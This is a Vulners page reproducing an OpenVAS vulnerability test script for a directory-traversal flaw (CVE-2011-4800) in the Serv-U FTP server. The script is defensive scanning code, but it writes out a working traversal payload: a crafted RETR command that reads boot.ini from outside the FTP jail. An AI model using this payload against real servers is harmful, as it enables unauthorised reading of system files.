Lucene search
K

Serv-U FTP Server Jail Break

🗓️ 02 Dec 2011 00:00:00Reported by This script is Copyright (C) 2011 Greenbone Networks GmbHType 
openvas
 openvas
🔗 plugins.openvas.org👁 27 Views

Serv-U FTP Server Jail Break Vulnerabilit

Related
Refs
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2011-4800
1 Dec 201100:00
circl
CVE
CVE-2011-4800
14 Dec 201100:00
cve
Cvelist
CVE-2011-4800
14 Dec 201100:00
cvelist
EUVD
EUVD-2011-4718
7 Oct 202500:30
euvd
Kaspersky
KLA10322 RLF & WLF vulnerabilities in Serv-U
13 Dec 201100:00
kaspersky
NVD
CVE-2011-4800
14 Dec 201100:55
nvd
OpenVAS
Serv-U FTP Server Jail Break
2 Dec 201100:00
openvas
Prion
Directory traversal
14 Dec 201100:55
prion
RedhatCVE
CVE-2011-4800
22 May 202501:39
redhatcve
# OpenVAS Vulnerability Test
# $Id: servu_traversal.nasl 7297 2017-09-27 09:54:01Z cfischer $
#
# Serv-U FTP Server Jail Break
#
# Authors:
# Michael Meyer <[email protected]>
#
# Copyright:
# Copyright (c) 2011 Greenbone Networks GmbH
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
###############################################################################

tag_summary = "Serv-U FTP is prone to a directory-traversal vulnerability because the
application fails to sufficiently sanitize user-supplied input.

Exploiting this issue allows an attacker to read arbitrary files from locations
outside of the application's current directory. This could help the attacker
launch further attacks.";


if (description)
{
 script_id(103354);
 script_version ("$Revision: 7297 $");
 script_bugtraq_id(50875);
 script_cve_id("CVE-2011-4800");
 script_tag(name:"cvss_base", value:"9.0");
 script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:S/C:C/I:C/A:C");

 script_name("Serv-U FTP Server Jail Break");


 script_tag(name:"last_modification", value:"$Date: 2017-09-27 11:54:01 +0200 (Wed, 27 Sep 2017) $");
 script_tag(name:"creation_date", value:"2011-12-02 11:28:44 +0100 (Fri, 02 Dec 2011)");
 script_tag(name:"qod_type", value:"remote_vul");
 script_category(ACT_ATTACK);
 script_family("FTP");
 script_copyright("This script is Copyright (C) 2011 Greenbone Networks GmbH");
 script_dependencies("gb_rhinosoft_serv-u_detect.nasl");
 script_require_ports("Services/www", 80);
 script_exclude_keys("Settings/disable_cgi_scanning");
 script_tag(name : "summary" , value : tag_summary);
 script_xref(name : "URL" , value : "http://secunia.com/advisories/47021");
 script_xref(name : "URL" , value : "http://www.securityfocus.com/bid/50875");
 script_xref(name : "URL" , value : "http://xforce.iss.net/xforce/xfdb/71583");
 script_xref(name : "URL" , value : "http://www.exploit-db.com/exploits/18182");
 script_xref(name : "URL" , value : "http://archives.neohapsis.com/archives/fulldisclosure/2011-11/0454.html");
 exit(0);
}

include("ftp_func.inc");

port = get_kb_item("Services/ftp");
if(!port){
  port = 21;
}

if(get_kb_item('ftp/'+port+'/broken'))exit(0);

if(!get_port_state(port)){
  exit(0);
}

if(!version = get_kb_item(string("ftp/", port, "/Serv-U"))) {
 if(!version = get_kb_item(string("Serv-U/FTP/Ver"))) {
  exit(0);
 }
}

banner = get_ftp_banner(port:port);
if("Serv-U" >!< banner)exit(0);

soc1 = open_sock_tcp(port);
if(!soc1){
  exit(0);
}

user = get_kb_item("ftp/login");
pass = get_kb_item("ftp/password");

if(!user)user = "Anonymous";
if(!pass)pass = "openvas";

login_details = ftp_log_in(socket:soc1, user:user, pass:pass);

if(login_details)
{
  ftpPort2 = ftp_get_pasv_port(socket:soc1);
  if(ftpPort2)
  {
    soc2 = open_sock_tcp(ftpPort2, transport:get_port_transport(port));
    if(soc2) {
      send(socket:soc1, data:string("RETR ..:\\:..\\..:\\..:\\..:\\..:\\..:\\..:\\..:\\boot.ini", "\r\n"));
      attackres = ftp_recv_data(socket:soc2);
      close(soc2);
    }
  }

   if(attackres && egrep(pattern:"\[boot loader\]" , string: attackres)) {
     security_message(port:port);
     ftp_close(socket:soc1);
     close(soc1);
     exit(0);
  }

 ftp_close(socket:soc1);
 close(soc1);
 exit(0);

}

exit(0);

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

27 Sep 2017 00:00Current
6.5Medium risk
Vulners AI Score6.5
EPSS0.01253
27